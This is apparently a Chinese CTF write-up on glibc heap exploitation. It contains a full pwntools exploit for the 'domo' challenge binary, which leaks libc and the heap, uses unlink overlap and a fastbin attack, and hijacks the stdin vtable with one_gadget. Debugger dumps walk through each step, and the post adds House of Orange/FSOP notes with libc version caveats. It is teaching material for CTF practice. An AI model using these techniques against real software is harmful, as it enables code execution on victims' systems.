71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

#context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

p = process('./domo')
libc = ELF('./libc.so.6')

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

# leak libc_base
cmd_add(0x40,'') # 0(核心)
cmd_add(0x60,'') # 1

cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'')

main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
success('main_arena >>'+hex(main_arena))
success('libc_base >> '+hex(libc.address))

# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'')
heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
success('heap_addr >> '+hex(heap_addr))

# unlink for overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)

# fastbins attack
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
one_gadgets =[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc.address + one_gadgets[2]

fake_target = _IO_2_1_stdin_ + 160 - 0x3
cmd_add(0xc0,'AAAAAAAA') # index 2
cmd_add(0x60,'BBBBBBBB') # index 3

cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_target)) # to index 2
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)

# overwrite vtable
fake_vtable = heap_addr + 0x210
success('fake_vtable >> '+hex(fake_vtable))
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
cmd_add(0x60,payload)

p.interactive()

这时大佬泄露 libc_base 的过程(和我的想法一致,但堆风水比我好了不少)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# leak libc_base
cmd_add(0x40,'') # 0
cmd_add(0x60,'') # 1

cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'') # 申请回来相同的chunk,是为了可以打印出来

main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
success('main_arena >>'+hex(main_arena))
success('libc_base >> '+hex(libc.address))

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56164214f000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x561642150010 // chunk0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x561642150060 // chunk1
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x5616421500d0 // chunk2
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x5616421501d0 // chunk3
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5616421501f0
Size: 0x20e11

释放 chunk2 后,chunk2进入 unsortedbin ,重新申请回来使其在保留 leak 数据的前提下可以被 show 出来

1
2
3
4
5
6
7
pwndbg> telescope 0x5616421500d0
00:00000x5616421500d0 ◂— 0x0
01:00080x5616421500d8 ◂— 0x101
02:00100x5616421500e0 —▸ 0x7ff69bf5cb0a (__realloc_hook+2) ◂— 0x7ff69bc1
03:00180x5616421500e8 —▸ 0x7ff69bf5cb78 (main_arena+88) —▸ 0x5616421501f0 ◂— 0x0
04:00200x5616421500f0 ◂— 0x0
... ↓ 3 skipped

“0x7ff69bf5cb0a”被 leak 出来,直接计算 libc_base

1
2
3
4
5
6
7
8
# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'') # FIFO,先申请chunk4(作为chunk3)

heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
success('heap_addr >> '+hex(heap_addr))

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
Allocated chunk | PREV_INUSE
Addr: 0x5622703620d0 // chunk2
Size: 0x101

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5622703621d0 // chunk3
Size: 0x21
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x5622703621f0 // chunk4(作为chunk3)
Size: 0x21
1
2
3
4
5
6
7
8
9
10
pwndbg> telescope 0x5622703621f0
00:00000x5622703621f0 ◂— 0x0
01:00080x5622703621f8 ◂— 0x21 /* '!' */
02:00100x562270362200 —▸ 0x56227036210a ◂— 0x0
/* 残留的FD,原本该指向chunk3 head,但是末尾的"\n"覆盖了最后一字节 */
03:00180x562270362208 ◂— 0x0
04:00200x562270362210 ◂— 0x0
05:00280x562270362218 ◂— 0x20df1
06:00300x562270362220 ◂— 0x0
07:00380x562270362228 ◂— 0x0

“0x56227036210a”会被 leak 出来,可以计算 heap_addr(heap首地址)

1
2
3
4
5
6
# unlink for overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10)) # chunk0
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0)) # chunk1(off-by-one覆盖chunk2->size)
cmd_del(2)

因为本程序的修改模块失效,所以大佬用了这种方式进行修改(fastbin的性质)

free第三块chunk前堆的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5559a9d3f010:	0x0000000000000000	0x0000000000000051 // chunk0(index0)
0x5559a9d3f020: 0x0000000000000000 0x00000000000000b1
0x5559a9d3f030: 0x00005559a9d3f028 0x00005559a9d3f030
0x5559a9d3f040: 0x00005559a9d3f020 0x000000000000000a
0x5559a9d3f050: 0x0000000000000000 0x0000000000000000
0x5559a9d3f060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x5559a9d3f070: 0x0000000000000000 0x0000000000000000
0x5559a9d3f080: 0x0000000000000000 0x0000000000000000
0x5559a9d3f090: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0a0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0b0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0c0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0d0: 0x00000000000000b0 0x0000000000000100 // chunk2(index2)
0x5559a9d3f0e0: 0x00007fd844656b0a 0x00007fd844656b78
0x5559a9d3f0f0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f100: 0x0000000000000000 0x0000000000000000

free第三块chunk后,堆成功重叠:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5559a9d3f010:	0x0000000000000000	0x0000000000000051 // chunk0(index0)
0x5559a9d3f020: 0x0000000000000000 0x00000000000001b1 // will be chunk2(index2)
0x5559a9d3f030: 0x00007fd844656b78 0x00007fd844656b78
0x5559a9d3f040: 0x00005559a9d3f028 0x000000000000000a
0x5559a9d3f050: 0x0000000000000000 0x0000000000000000
0x5559a9d3f060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x5559a9d3f070: 0x0000000000000000 0x0000000000000000
0x5559a9d3f080: 0x0000000000000000 0x0000000000000000
0x5559a9d3f090: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0a0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0b0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0c0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0d0: 0x00000000000000b0 0x0000000000000100
0x5559a9d3f0e0: 0x00007fd844656b0a 0x00007fd844656b78
0x5559a9d3f0f0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f100: 0x0000000000000000 0x0000000000000000
1
2
3
unsortedbin
all: 0x5559a9d3f020 —▸ 0x7fd844656b78 (main_arena+88) ◂— 0x5559a9d3f020
/* chunk2和chunk1重叠,chunk1在free状态下被写入FD */

unlink 成功了(其实我以前学习 wiki 上的案例时,遇到的都是要在 chunk_list 中打 unlink 的,今天遇到这个才发现 unlink 其实很灵活)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# fastbins attack
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
one_gadgets =[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc.address + one_gadgets[2]

fake_target = _IO_2_1_stdin_ + 160 - 0x3 # 这个地方正好有"0x7f"
cmd_add(0xc0,'AAAAAAAA') # index 2
cmd_add(0x60,'BBBBBBBB') # index 3

cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_target)) # to index 2
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)

接下来的 chunk 申请,都应该在 fake chunk 中分割:

1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x55efe9805010
0x55efe9805010: 0x0000000000000000 0x0000000000000051
0x55efe9805020: 0x0000000000000000 0x00000000000000d1 // fake chunk(index2)
0x55efe9805030: 0x0000000000000000 0x0000000000000000
0x55efe9805040: 0x0000000000000000 0x0000000000000000
0x55efe9805050: 0x0000000000000000 0x0000000000000000
0x55efe9805060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x55efe9805070: 0x00007f39e554a97d 0x000000000000000a // fake_target
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x00007f39e554a97d
00:00000x7f39e554a97d (_IO_2_1_stdin_+157) ◂— 0x39e554a9c0000000 // presize
01:00080x7f39e554a985 (_IO_2_1_stdin_+165) ◂— 0x7f // size
02:00100x7f39e554a98d (_IO_2_1_stdin_+173) ◂— 0x0 // FD
03:00180x7f39e554a995 (_IO_2_1_stdin_+181) ◂— 0x0 // BK
04:00200x7f39e554a99d (_IO_2_1_stdin_+189) ◂— 0xffffffff000000
05:00280x7f39e554a9a5 (_IO_2_1_stdin_+197) ◂— 0x0
06:00300x7f39e554a9ad (_IO_2_1_stdin_+205) ◂— 0x0
07:00380x7f39e554a9b5 (_IO_2_1_stdin_+213) ◂— 0x39e55496e0000000 // true_target

新申请的 chunk 中被装满了 one_gadget ,方便后续劫持:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55efe9805210
0x55efe9805210: 0x0000000000000000 0x00000000000000b1
0x55efe9805220: 0x0000000000000000 0x0000000000000000
0x55efe9805230: 0x00007f39e52763a4 0x00007f39e52763a4 // one_gadget
0x55efe9805240: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805250: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805260: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805270: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805280: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805290: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe98052a0: 0x00007f39e52763a4 0x00007f39e52763a4
1
2
3
4
5
6
# overwrite vtable
fake_vtable = heap_addr + 0x210
success('fake_vtable >> '+hex(fake_vtable))
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
cmd_add(0x60,payload)

先看看“fake_vtable”是什么:

1
[+] fake_vtable >> 0x55d3aa3da220
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55d3aa3da210
0x55d3aa3da210: 0x0000000000000000 0x00000000000000b1 // chunk2
0x55d3aa3da220: 0x0000000000000000 0x0000000000000000 // fake_vtable
0x55d3aa3da230: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da240: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da250: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da260: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da270: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da280: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da290: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da2a0: 0x00007f64c38a03a4 0x00007f64c38a03a4

为了方便演示,先把“fake_vtable”换为无用地址(劫持之后GDB就无法正常显示了)

payload覆盖前:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x7f75433786e0 (_IO_file_jumps) ◂— 0x0

payload覆盖后:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x562989a57010 ◂— 0x0 // 临时修改

vtable 变量的值为 _IO_file_jumps 的指针,_IO_file_jumps 中保存了一些函数指针,一系列标准IO函数中会调用这些函数指针,但 _IO_file_jumps 里的内容是无法修改的,但可以修改 vtable 指向伪造的 _IO_file_jumps 从而getshell


小结:

这个题目我先自己做了做,成功 leak 了 heap_addr 和 libc_base,想到了打 fastbin attack,利用 unlink 实现 overlapping 来突破本程序严格的 size 检查,但是最后卡 unlink 那里了,复盘时发现自己的堆排布很乱,导致 unlink 总是出现未知状况(触发莫名其妙的合并等等)

学习大佬的 exp 时也踩了大坑,用 LibcSearcher 查找出来的 libc 版本有误,凑巧的是,在线查询网站上也是这个结果,导致我的 _IO_2_1_stdin_ 排列的和其他师傅的博客大相径庭,最后,我在一篇博客中看到:在IDA中可以直接查看 libc.so.6 的 libc 版本

1647013341453-1647447265254

这些坑现在踩了,以后就注意了

House Of Orange

House Of Orange 的利用比较特殊(题目中不存在 free 函数或其他释放堆块的函数 )

House Of Orange 核心就是通过漏洞利用获得 free 的效果

这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins

然后利用 unsorted bin attack 结合 FSOP(也就是通过修改 IO_list_all 劫持到伪造的 IO_FILE 结构上)从而getshell


House Of Orange 利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#define fake_size 0x0fe1 // 注意页对齐

int main(void)
{
void *ptr;

ptr=malloc(0x10);
ptr=(void *)((long long)ptr+24);

*((long long*)ptr)=fake_size; // overwrite top chunk size

malloc(0x2000); //小于 mmap 分配阈值(128K,0x20000)

malloc(0x60);
}

申请 “0x2000” 字节后:

1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b020
Size: 0x1fc1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

申请 “0x60” 字节后:

1
2
3
4
5
6
7
8
9
Allocated chunk | PREV_INUSE
Addr: 0x55555555b020
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b090
Size: 0x1f51
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

直接在 top chunk 中向上申请了( libc-2.27 和 libc-2.31 直接挂掉)

伪造的 top chunk size 的要求 :

  • 伪造的 size 必须要对齐到内存页(0x0fe1、0x1fe1、0x2fe1、0x3fe)
  • size 要大于 MINSIZE(0x10)
  • size 要小于之后申请的 chunk size + MINSIZE(0X10)
  • size 的 prev inuse 位必须为“1”

伪造 top chunk size 时,需要保持最后3字节与GDB中显示的真正 top chunk size 一致

利用条件:

  • 有堆溢出(溢出得足够多,至少可以修改 top chunk size)
  • 可以申请较大的空间
  • 没有释放模块(看见程序没有 free,realloc等函数时,优先考虑打House Of Orange)

后续可以配合 unsortedbin attack 和 FSOP 获取 shell,简略过程为:

  • 利用 unsortedbin attack 在 _IO_list_all 中写入 main_arean + 88
  • 如果把 main_arean + 88 当成一个 IO_FILE 结构体,那么 struct _IO_FILE *_chain 指针的地址为 main_arena + 88 + 0x68(main_arena+0xc0)
  • 而 main_arena + 0xc0 中存储有大小为“0x60”的 smallbin 中第一个 chunk 的地址
  • 如果可以在大小为“0x60”的第一个 small chunk 中伪造 IO_FILE 结构体

详细过程在分析 FSOP 时说明

版本对 House Of Orange 的影响

libc-2.23

House Of Orange 适用于 libc-2.23 及之前的版本,libc-2.24 版本增加了 vtable check,但仍然可以绕过,libc-2.27 及之后的版本取消了 abort 刷新流的操作,所以这个方法基本就失效了

libc-2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

IO_validate_vtable要求我们的vtable必须在__stop___libc_IO_vtables__start___libc_IO_vtables之间,这就意味着我们不能利用任意地址来充当vtable

libc-2.27(完全失效)